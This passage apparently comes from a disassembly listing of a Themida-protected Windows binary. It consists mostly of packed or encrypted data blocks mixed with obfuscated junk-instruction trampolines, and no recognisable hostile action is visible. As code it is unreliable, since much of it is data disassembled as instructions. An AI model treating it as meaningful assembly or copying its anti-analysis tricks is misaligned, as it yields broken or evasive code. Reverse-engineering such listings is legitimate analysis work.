		dd 0C7278E7Eh, 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h
		dd 7EA9DA5h, 0BC994DF5h, 249314E6h, 8E7DD2A4h, 8BC04F41h
		dd 9A244DB8h, 0F41F5C33h, 9DF10295h, 96FAB372h,	99040B83h
		dd 19FE9164h, 424A838Ch, 47DFF945h, 0BAEF206Dh,	3A864FE7h
		dd 7DD6BC4Bh, 7C1273DEh, 208B5E93h, 2CE3A861h, 0D0222A99h
		dd 0BF49F199h, 922F5860h, 414C4DF1h, 232C89D6h,	91A5E2EAh
		dd 77D64DF1h, 0F192186Fh, 0F5606B4Dh, 0C7C3CB8Ah, 0B6500524h
		dd 0CE4F76ABh, 4E46F2B0h, 0C2D366CDh, 5DF643CCh, 68A7E831h
		dd 0F9B0C8FDh, 0F0E97984h, 0A4EA05DCh, 10271E6Bh, 732E7F08h
		dd 5EF1FCAEh, 99CE414Dh, 43FCBFD0h, 0BC8FC44Bh,	732E7B0Ch
		dd 92FD08AEh, 25A6B55Dh, 6693EC63h, 0DD325887h,	4E93DF72h
		dd 0C714FB93h, 7AAF602Eh, 53343C53h, 9FAE728Dh,	86B27644h
		dd 8B962E8Eh, 3E9F8h, 22530000h, 0F01F7234h, 739CF2BBh
		dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh
		dd 8B8406CFh, 10FF8D56h, 8950D4DBh, 405E0h, 0E8830000h
		dd 24048704h, 243C895Ch, 615268h, 241C8900h, 3EE268h, 24148900h
		dd 306ABE56h, 0EEC177EAh, 4BF68104h, 8131985Eh,	36010ACEh
		dd 3DB95101h, 1CE1EA1h,	0F38959CEh, 113E685Eh, 24890000h
		dd 24048124h, 4, 1B40685Ah, 1C890000h, 8428F24h, 5A2434FFh
		dd 4C481h, 34FF0000h, 0C4835B24h, 0D6BFE904h, 6B45FFFCh
; ---------------------------------------------------------------------------
		push	es
		sal	ecx, 1


loc_5B651F:				; CODE XREF: sub_5B5756:loc_5B58F3j
		mov	eax, 615A9CCh
		add	eax, ebp
		jmp	eax
sub_5B5756	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 2CE8DC87h, 28A89AF4h, 652274E1h, 22F5F1CDh, 65728A8h
		dd 1C081928h, 6BBC1AABh, 5209AC0h, 5B4288F1h, 2BDA93FFh
		dd 44D91DCBh, 5D0C8F35h, 77BB70Fh, 7B388D8Bh, 268146BCh
		dd 38F3D23Fh, 6C13B026h, 2EACE209h, 55B057E3h, 75E9h, 8C666000h
		dd 0F04A8D8h, 3584h, 0FF016A00h, 1217F1B5h, 7A858D06h
		dd 0FF061582h, 5D8589D0h, 8B06121Ah, 0CEFC1FEh,	4000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 121A5D95h,	32E906h
		dd 85C60000h, 61215C1h,	30DF6856h, 0B5FFA9C5h, 6123101h
		dd 827A858Dh, 0D0FF0615h, 1E958589h, 858D0612h,	6121841h
		dd 6A206A50h, 95FF5605h, 6121E95h, 0E0C1C361h, 8F4FEB06h
		dd 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
		dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
		dd 3A6400A6h, 0BA9F0042h, 0DC80h, 1B540000h, 0FEB4h, 0FBFE34h
		dd 0B4870000h, 202352DDh, 9E019ED9h, 5DE97C80h,	0E9000011h
		dd 7, 0A36F3A25h, 8922F5CAh, 12080595h,	0E9BD8306h, 6120Eh
		dd 54850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 71F636C3h, 2531C0EBh, 0F9D00377h
		dd 0B8h, 58F0F00h, 0B9000000h, 75D84AD3h, 4C2F5h, 0EE8h
		dd 4DDFB700h, 9CEFB695h, 4630E2EFh, 896558A7h, 12044D8Dh
		dd 0C08B5F06h, 0B9C9B70Fh, 302D624Bh, 2F01BD83h, 75000612h
		dd 49BD8309h, 61221h, 53501374h, 0D0B8C08Bh, 8D000004h
		dd 14AADD9Dh, 5BD3FF06h, 49BD8358h, 61221h, 53501174h
		dd 4D0B8h, 2A9D8D00h, 0FF0614AAh, 6A585BD3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 3877C351h, 6E797F46h, 8BF88B1Fh, 3D9589C0h, 8D061222h
		dd 15AB5C85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 83D981F3h, 664131D8h, 508F21BAh
		dd 0C8F9B966h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 4FAEC350h, 8DB03582h
		dd 15AB1985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6255C966h, 8B9E657Fh, 0E85150F8h
		dd 0Dh,	654353E7h, 2DBBE1DAh, 14FDF02Ch, 5912B22Eh, 2404895Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4AC35141h
		dd 0C59589FFh, 66061218h, 5D26C281h, 1FDD95FFh,	0FE8B0612h
		dd 424448Bh, 0F5E5260h,	680h, 41958900h, 61061226h, 0AB448589h
		dd 0ED800615h, 24448B1Ch, 53006A08h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 68D0FB1h, 8B000000h
		dd 1211858Dh, 58858906h, 890615ABh, 122E6985h, 3DBD8306h
		dd 61223h, 0F0850Fh, 958B0000h,	61208F1h, 1CC5B589h, 85C60612h
		dd 61215C1h, 56006A47h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 8509304Bh, 0B805DC74h, 0D462BA66h
		dd 4691DD68h, 5E8C7h, 4BA40000h, 50A4FB0Bh, 60310F52h
		dd 5F585A61h, 0F5240481h, 890D5415h, 1228C595h,	1B5FF06h
		dd 0E9061231h, 9, 95E868DEh, 6E8A3h, 7A858DC8h,	0E8061582h
		dd 12h,	94F673C0h, 477DBFFBh, 8D055BBCh, 0A752DCEBh, 0CF815BE4h
		dd 7CB2104Bh, 6AD0FF5Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 7587C355h, 9A0D650Ch
		dd 1619BD2Bh, 85890612h, 612233Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 18C35040h, 0FDA8A84Dh, 31CF959Ch
		dd 1CC19531h, 0BD830612h, 6122A6Dh, 37850F00h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 8F9EC356h, 314C3C8Bh, 1218CDBDh, 6D8D8906h
		dd 0C6061218h, 1215C185h, 6A4706h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 7B64A9C3h, 10E939h, 3C2D0000h
		dd 9A71578Eh, 0CC82443Eh, 0AABB58FDh, 69686B6Ah, 0E8E0D8B6h
		dd 10h,	0E21451B5h, 4F2183D7h, 57875Fh,	0C5355933h, 68E0Fh
		dd 880F0000h, 0
; ---------------------------------------------------------------------------
		pop	edi
		xor	dword ptr [esp], 6AD7038Bh
		push	0		; CODE XREF: Themida_:005B6A2Cj
		push	edx
		call	sub_5B69F7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B69F7	proc near		; CODE XREF: Themida_:005B69EFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B69F7	endp

; ---------------------------------------------------------------------------
		leave
		jmp	loc_5B6A1B
; ---------------------------------------------------------------------------
		db 4Ah,	25h, 92h
		dd 8DB2705Dh, 8C89C762h
		db 6Bh,	4Fh, 79h
; ---------------------------------------------------------------------------


loc_5B6A1B:				; CODE XREF: Themida_:005B6A08j
		push	dword ptr [ebp+6123101h]
		call	near ptr loc_5B6A38+1
		xor	al, 14h
		xchg	esi, edx
		push	edx
		in	eax, dx
		loopwe	near ptr loc_5B69EC+1
		adc	[esi-6Bh], dh
		and	[ecx+21h], ebp
		cmc
		push	edi
		pop	esi


loc_5B6A38:				; CODE XREF: Themida_:005B6A21p
		jmp	short near ptr dword_5B6528+49Dh
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		dec	ebp
		daa
		adc	al, [esi]
		pop	ecx
		lea	eax, [ebp+615827Ah]
		jmp	loc_5B6A54
; ---------------------------------------------------------------------------
		db 33h
		dd 85E6CCBDh, 0A6B8759Bh
; ---------------------------------------------------------------------------


loc_5B6A54:				; CODE XREF: Themida_:005B6A46j
		call	eax
		call	near ptr loc_5B6A67+2
		and	ebp, edx
		fcmovne	st, st(5)
		mov	bl, al
		and	[esi], edx
		shl	dword ptr [ecx], 1
		dec	ebp
		aaa


loc_5B6A67:				; CODE XREF: Themida_:005B6A56p
		xor	ch, [esi-46h]
		adc	[ecx+6D85895Fh], esp
		sub	dl, [edx]
		push	es
		ja	loc_5B6A84
		jz	loc_5B6A84
		mov	di, 1D5h


loc_5B6A84:				; CODE XREF: Themida_:005B6A74j
					; Themida_:005B6A7Aj
		jno	loc_5B6A8E
		mov	di, 0A18Dh


loc_5B6A8E:				; CODE XREF: Themida_:loc_5B6A84j
		cmp	dword ptr [ebp+6123301h], 0
		jnz	loc_5B6B49
		add	ecx, [ebp+61203F1h]
		mov	byte ptr [ebp+61215C1h], 56h
		mov	[ebp+6120C51h],	ebx
		push	0C84DB4C8h
		mov	dx, 1FA5h
		add	dword ptr [esp], 0BD1B871h
		push	0
		push	ecx
		call	sub_5B6AC9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6AC9	proc near		; CODE XREF: Themida_:005B6AC1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B6AC9	endp

; ---------------------------------------------------------------------------
		db 82h,	0FFh, 12h
		dd 0F5FAE550h, 3101B5FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0E14C58C3h, 48095D35h
		dd 958BF0A1h, 6123205h,	827A858Dh, 9D890615h, 6120CA5h
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0C55391C3h, 185898Fh, 89061233h, 1217959Dh
; ---------------------------------------------------------------------------
		push	es


loc_5B6B49:				; CODE XREF: Themida_:005B6A95j
		mov	byte ptr [ebp+61215C1h], 6Ch
		push	0
		push	ecx
		call	sub_5B6B5B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B5B	proc near		; CODE XREF: Themida_:005B6B53p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B6B5B	endp

; ---------------------------------------------------------------------------
		retn	0A22Fh
; ---------------------------------------------------------------------------
		dw 880Fh
		dd 0Ah,	4850Fh,	0B9660000h, 0AB681A19h,	50AC39E8h, 2800F52h
		dd 60000000h, 52310F61h, 0FE9h,	1755CC00h, 0ED2EBF16h
		dd 5EB3012Bh, 0C3A7876Fh, 81585A5Fh, 98282434h,	0B5FF773Ch
		dd 61217F1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0CC35646h, 48858D8Dh, 6A06123Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A2C3C352h
		dd 0C7D1E415h, 0D253A88Eh, 8948C280h, 122795B5h, 1D0FF06h
		dd 121C618Dh, 48858906h, 0F0615ABh, 686h, 0EDBD8B00h, 83061212h
		dd 15AB64BDh, 850F0006h, 60h, 12EABF66h, 15C185C6h, 60490612h
		dd 5822B753h, 9E246861h, 11E95194h, 7C000000h, 0C0E93CD6h
		dd 7464844Fh, 54E783DDh, 96CCC83h, 0C5240481h, 663A808Bh
		dd 0B5FFF88Bh, 61217F1h, 48858DFCh, 0E906123Bh,	0Dh, 51300317h
		dd 8900CD49h, 77BBE307h, 66D0FF49h, 8589D38Bh, 615AB64h
		dd 6A046Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 634425C3h, 68AE3468h, 6FB966D1h, 24048126h
		dd 2E9761CCh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0B8C35141h, 571AA9E1h, 17C1958Bh, 56680612h, 81266144h
		dd 44562434h, 6A2660h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0F2B9D3C3h, 8D8BC4E4h, 6121319h
		dd 0BF0F006Ah, 0B995FFFFh, 9061227h, 1233E18Dh,	5D958906h
		dd 89061203h, 15AB5485h, 85C7FC06h, 615AB4Ch, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B6D51
; ---------------------------------------------------------------------------
		db 0A1h, 81h, 9Bh
		dd 0E007C0F1h, 8A204CE9h, 7C59F85Dh
; ---------------------------------------------------------------------------
		popf


loc_5B6D51:				; CODE XREF: Themida_:005B6D3Cj
		push	0
		push	0
		push	edi
		call	sub_5B6D5E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6D5E	proc near		; CODE XREF: Themida_:005B6D56p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5B6D5E	endp

; ---------------------------------------------------------------------------
		retf	83C3h
; ---------------------------------------------------------------------------
		db 0EDh, 6Eh, 0Bh
; ---------------------------------------------------------------------------
		push	0E882B757h
		add	dword ptr [esp], 177E48A9h
		mov	edx, ebx
		push	eax
		jb	loc_5B6D8E
		mov	ecx, 704193CEh


loc_5B6D8E:				; CODE XREF: Themida_:005B6D83j
		mov	[esp], eax
		sbb	edx, 0F3C7765h
		push	0Bh
		mov	edi, [ebp+6122E11h]
		lea	eax, [ebp+615AB21h]
		xor	edx, 6C1B9E08h
		push	eax
		jl	loc_5B6DB4
		mov	ecx, edi


loc_5B6DB4:				; CODE XREF: Themida_:005B6DACj
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5B6DC2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6DC2	proc near		; CODE XREF: Themida_:005B6DBAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B6DC2	endp

; ---------------------------------------------------------------------------
		pop	ebp
		mov	[ebp+6122481h],	eax
		call	dword ptr [ebp+612233Dh]
		push	0
		push	ebp
		call	sub_5B6DEA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6DEA	proc near		; CODE XREF: Themida_:005B6DE2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5B6DEA	endp

; ---------------------------------------------------------------------------
		inc	edx
		stc
		add	al, 2Ch
		stc
		mov	esi, 0CA816678h
		test	al, 4Dh
		pusha
		and	ecx, 942E760h
		popa
		lea	esi, [ebp+615AB2Bh]
		push	0
		push	edx
		call	sub_5B6E1F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6E1F	proc near		; CODE XREF: Themida_:005B6E17p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B6E1F	endp

; ---------------------------------------------------------------------------
		movsb
		movsb
		movzx	edi, si
		push	eax
		jmp	loc_5B6E47
; ---------------------------------------------------------------------------
		mov	bl, 47h
		retn	1A64h
; ---------------------------------------------------------------------------
		db 84h
; ---------------------------------------------------------------------------
		inc	ecx
		call	fword ptr [ebx-6E3845B9h]


loc_5B6E47:				; CODE XREF: Themida_:005B6E35j
		mov	[esp], esi
		push	0
		push	edx
		call	sub_5B6E55
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6E55	proc near		; CODE XREF: Themida_:005B6E4Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B6E55	endp

; ---------------------------------------------------------------------------
		db 70h,	0E7h, 0FBh
		dd 7BC5F700h, 0B52957F8h, 6120875h, 50901AB2h, 818D8B90h
		dd 0FF06122Ch, 122A6D95h, 7E95606h, 7E000000h, 1AEB2394h
		dd 0B5A2961h, 31850FC0h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0F4ADC353h
		dd 7F463877h, 0B1E96E79h, 89000006h, 120B1D85h,	0FE8B6606h
		dd 958BD0FFh, 6122A81h,	0AB54B58Bh, 958B0615h, 6123359h
		dd 6A20468Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0D901C356h, 46A2E75h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 17C35141h, 6890FD0h
		dd 33000000h, 1233298Dh, 0BE806h, 0C0670000h, 13F8F7DDh
		dd 4CB34FC5h, 99958BF2h, 5906121Dh, 11E990h, 0B2B00000h
		dd 0E3207BCDh, 97909CE2h, 556C58B8h, 50234A37h,	18B65250h
		dd 80B1310Fh, 8B90585Ah, 12041D8Dh, 6495FF06h, 0B0615ABh
		dd 122D7595h, 0FC00B06h, 2C84h,	0C9B96600h, 5EAE9C6h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 239C12C3h, 1208AD95h, 207E8006h, 0BD840F00h,	6A000005h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 60A6C350h, 8DD08B66h, 0EDBF2046h,	895C1865h
		dd 15AB5085h, 68D0F06h,	89000000h, 120435B5h, 1A3E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 624516C3h, 0CE98Fh, 0CEEB0000h, 1C1EA7DCh
		dd 846FBDDh, 85014FDDh,	6120279h, 56006A40h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F598C174h
		dd 0FFBF0F53h, 12E8505Ah, 11000000h, 0A93F90Bh,	1191C19Fh
		dd 3B00397h, 626023DBh,	63B9661Ch, 4895A00h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 7C14DBB6h, 813EA10Eh, 12E5958Bh, 46A0612h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9DC35040h, 5E969h
		dd 452C0000h, 5068FE50h, 0E1B58960h, 66061211h,	61080FB8h
		dd 0BF66505Ah, 4892270h, 2CF28024h, 0AB6495FFh,	8BFC0615h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 3B040E49h, 5223B671h, 5AFBB70Fh,	2A8D9D89h
		dd 6A580612h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 56C3C353h, 2FE09D9Ah, 0DB0BEBD0h
		dd 5B840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 170424h, 55450000h, 3D4764C3h, 665A5366h, 6633E181h
		dd 40BE9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1504h, 0C3514100h, 950BBACEh, 6120435h, 31BD8B50h, 59061217h
		dd 0EAF28166h, 388037h,	0FE8A850Fh, 0CA8BFFFFh,	12E9h
		dd 0D38B6600h, 0EED28048h, 56C88160h, 0F4C572Bh, 3B61FFBFh
		dd 15AB5085h, 4E820F06h, 0F000000h, 178Ch, 12E900h, 71720000h
		dd 0F4579B2Fh, 1512E2B1h, 3B8C3954h, 123CAB9h, 0F5C3880h
		dd 2884h, 80ACB200h, 850F2F38h,	0FFFFFFB4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 60C35242h, 2EB24012h
		dd 0AB58BD83h, 0F000615h, 17784h, 0E9816600h, 50FC23A5h
		dd 89D78B66h, 0B70F2404h, 588503CEh, 6A0615ABh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 3220C357h, 0E950902Fh, 0Fh, 17F67467h, 0C0B43181h, 79731960h
		dd 902BB9BAh, 3418589h,	46A0612h, 6155BA66h, 66525090h
		dd 0FC453B9h, 0CB8B6631h, 6650585Ah, 6690D08Bh,	95FFD38Bh
		dd 615AB64h, 35D5BA66h,	4800Fh,	0BF660000h, 0D88B837Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h
		dd 11C11FA1h, 10E8h, 0CC2AD200h, 4EABFEE5h, 6C03F3ADh
		dd 46BDDD56h, 87DF816Ah, 596A0B14h, 0D800Fh, 0BE600000h
		dd 3ADA4AFDh, 0EAD5D381h, 586113CDh, 3305B589h,	0DB0B0612h
		dd 65840Fh, 9D890000h, 61220F9h, 263E9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0E8E04FDCh, 8, 67F15823h, 0C9EEBDF5h, 18870Fh, 12E80000h
		dd 0E4000000h, 1A3D5389h, 35A50503h, 80ACFCB9h,	0DDF4A341h
		dd 15A5F03h, 12156185h,	5E906h,	6E490000h, 0C656BE2Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0FE9CD0C3h, 3890Fh, 0D5800000h, 9529589Ch
		dd 61225CDh, 89D68B50h,	6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 67658EC3h, 1E559D89h
		dd 1E6A0612h, 33F19D89h, 66900612h, 6650CA8Bh, 90309ABFh
		dd 66DDB460h, 611D9EB9h, 0AB6495FFh, 6A0615h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9E8E1C3h
		dd 31000000h, 18663711h, 0CDA89843h, 0AE9h, 679BDF00h
		dd 86D45A8Fh, 5ACE597Ah, 885958Bh, 0D88B0612h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 78C35545h, 66F7023Fh
		dd 49F6F781h, 8058FA8Bh, 99BFC7D1h, 0B4386BFh, 11840FDBh
		dd 89000000h, 1229759Dh, 10AE906h, 958B0000h, 6121645h
		dd 52525090h, 0FE9h, 32BCD000h,	0CFB7333h, 59212533h, 0DFF3299Bh
		dd 66310F5Fh, 5A2B29BFh, 89905058h, 1211C9BDh, 0FF09B606h
		dd 15AB44B5h, 0CAB70F06h, 0AB4895FFh, 6A0615h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD2374C3h, 6122C69h, 850FC00Bh, 83h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 9EC35545h, 0B256CB8Ah
		dd 87D7C663h, 0B585891Fh, 0E906120Ch, 0Ch, 14354EC3h, 157B8026h
		dd 1CB31F83h, 0E5952961h, 0C706120Eh, 15AB4C85h, 106h
		dd 8A0F00h, 66000000h, 0E9798CB9h, 44h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 93C35545h, 7105C7EEh
		dd 21B529D8h, 61061234h, 11CC681h, 8D890000h, 6122119h
		dd 0FFF977E9h, 5880FFFh, 0BA000000h, 7AFDE844h,	3FB96068h
		dd 240481D3h, 2CC0C6A0h, 0DE9h,	0B71C5800h, 0B026C4D8h
		dd 3F3D560Ch, 6AF271h, 0B5FF7AB6h, 615AB54h, 95FF5F53h
		dd 6123301h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	15C35646h, 53596949h, 3595014Dh, 0E9061203h, 10h
		dd 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh, 0AB398DB3h, 0AB4C858Bh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0E990E1C3h, 0Ah, 622F02C7h, 87048AA1h, 0E950C962h
		dd 5, 6653DC3Ah, 858D902Ch, 615AB5Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0A1C35343h,	1729176Eh, 87DD507Ah
		dd 66605650h, 0ADB3C18Bh, 4895F61h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 19858D12h, 6A0615ABh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 546FC355h
		dd 8BFA5B4Bh, 8E9h, 851C6600h, 0A6E7B529h, 13E95017h, 0A000000h
		dd 20B5389Ch, 0A71F97DDh, 91E5C1ABh, 7178274Dh,	489EBD5h
		dd 0FE8B6624h, 1A0DBD8Bh, 95FF0612h, 6122FF1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 90C35141h, 0AAF37EDBh
		dd 6870Fh, 0B5890000h, 6121465h, 4E18166h, 80C08B91h, 0BD83EBC1h
		dd 6122F01h, 83097500h,	122149BDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 449D8D00h, 0FF0614ABh, 83585BD3h, 122149BDh
		dd 11740006h, 0D0B85350h, 8D000004h, 14AA439Dh,	5BD3FF06h
		dd 38A0F58h, 80000000h,	14E9FECDh, 2B000000h, 94847FBBh
		dd 31233A21h, 9498CF06h, 6CD88F55h, 8B2F78D5h, 0A5BD8BC0h
		dd 58061220h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	8C35141h, 1C7AF281h, 8C25CBFh, 0AE900h,	0B4CD0000h
		dd 6B80B6BCh, 84DEA8B3h, 0BD29C08Bh, 61203BDh, 0AB7F858Dh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0F4575C3h, 8589011Bh, 6121639h, 39EBh, 2CC00AFh
		dd 2E400AFh, 0AFh, 0C4C80000h, 0C8194551h, 0C0467448h
		dd 0C4E02059h, 83A64D52h, 0AD894C58h, 0E1B67472h, 0D9372070h
		dd 0C3D95073h, 0C82C4868h, 0CD2F445Dh, 0ADFDE0B7h, 0ADC8C86Bh
		dd 0F2C5203Ch, 0D17B7FFFh, 0E9F82418h, 0ADAA2418h, 0FA19203Ch
		dd 11C45FFh, 82969DBFh,	0D8CB262Eh, 0E458A335h,	0ADF4321Dh
		dd 0FE293948h, 1404E0B7h, 245E2038h, 0BF2415B9h, 0A40AAD3Ah
		dd 52CD3491h, 2EBD7BEFh, 0BFD36981h, 0BA0D203Ah, 1404736Ch
		dd 245E2038h, 0BF2415B9h, 550AAD3Ah, 52CD3495h,	0A2BD7BEFh
		dd 0ADF226B1h, 0E0ECA93Ch, 26BA3224h, 0FD5E4AFCh, 0AD2F23D4h
		dd 6ECF003Ch, 898FA964h, 89A1A138h, 0ADF23638h,	6E29603Ch
		dd 0AC297F91h, 0BF72D1A9h, 6CAAE63Ah, 0FB913229h, 459A2056h
		dd 0ADE5203Fh, 0F431791Ch, 0A95D6CB5h, 0A99864BDh, 0AD5E202Ah
		dd 2EC717Dh, 381C558Bh,	0ABD90D09h, 0ADE524D4h,	54A723Ch
		dd 0ADFA2FA0h, 0FDBC203Ch, 0AD41AD33h, 444F203Ch, 0AD972028h
		dd 8B6D2477h, 94FD2C4Eh, 0AD5849B4h, 5AE670B0h,	0E170C376h
		dd 96BD9A5Ah, 896BAB5Dh, 0CDC57038h, 963C1F83h,	9CEA4146h
		dd 0F70AAB6Ch, 0ADF27866h, 0ADBC30D4h, 8D152B3Ch, 41E323AFh
		dd 0DEF7BAE7h, 0B973C32Ah, 25EA9E47h, 24A8652Bh, 447D0478h
		dd 0ADBC2037h, 9185BE52h, 0D6F6AF00h, 0F540B060h, 459D2056h
		dd 0ADE5203Fh, 0F3317E1Ch, 0A95D54B5h, 0A99864BDh, 0AD5E2025h
		dd 51EC767Ah, 66F1581Ah, 6A4A46FEh, 181AC6C8h, 0ABE0113Dh
		dd 452F2056h, 0ADBC203Fh, 0F39D7E1Ch, 0A90B54B5h, 0A9B364BDh
		dd 0ADCB2021h, 9326767Ah, 1C17816Bh, 73702BBDh,	2856A007h
		dd 2F24A5B1h, 0AD452629h, 0AD94C86Ah, 0F3EB203Ch, 0D96C7EFFh
		dd 0E9732418h, 0AD6C2418h, 0FBFA203Ch, 24C2DCFFh, 0BF0209B9h
		dd 5269AB3Ah, 0FBCB4AECh, 0ADE523D4h, 6EAC003Ch, 890DA962h
		dd 89F8A138h, 0AD5E3838h, 6E79663Ch, 238616A0h,	0C7CF4A2Eh
		dd 0AE0D763Ch, 8DF2203Ch, 2427E362h, 2CB80448h,	0B15A0478h
		dd 0EB2F203Ch, 8BE5E36Ah, 21DB74BAh, 0A694E8FCh, 0BFC3D589h
		dd 6F7E483Ah, 7D370E31h, 0AA7A14BDh, 44012DEEh,	0AD972037h
		dd 0C72808ECh, 3F81DAD6h, 0A277D17Ah, 111E883h,	0A22E8026h
		dd 0AD5E24B8h, 1E95463Ch, 8993A1E3h, 0C094C87Ch, 0C71B9F33h
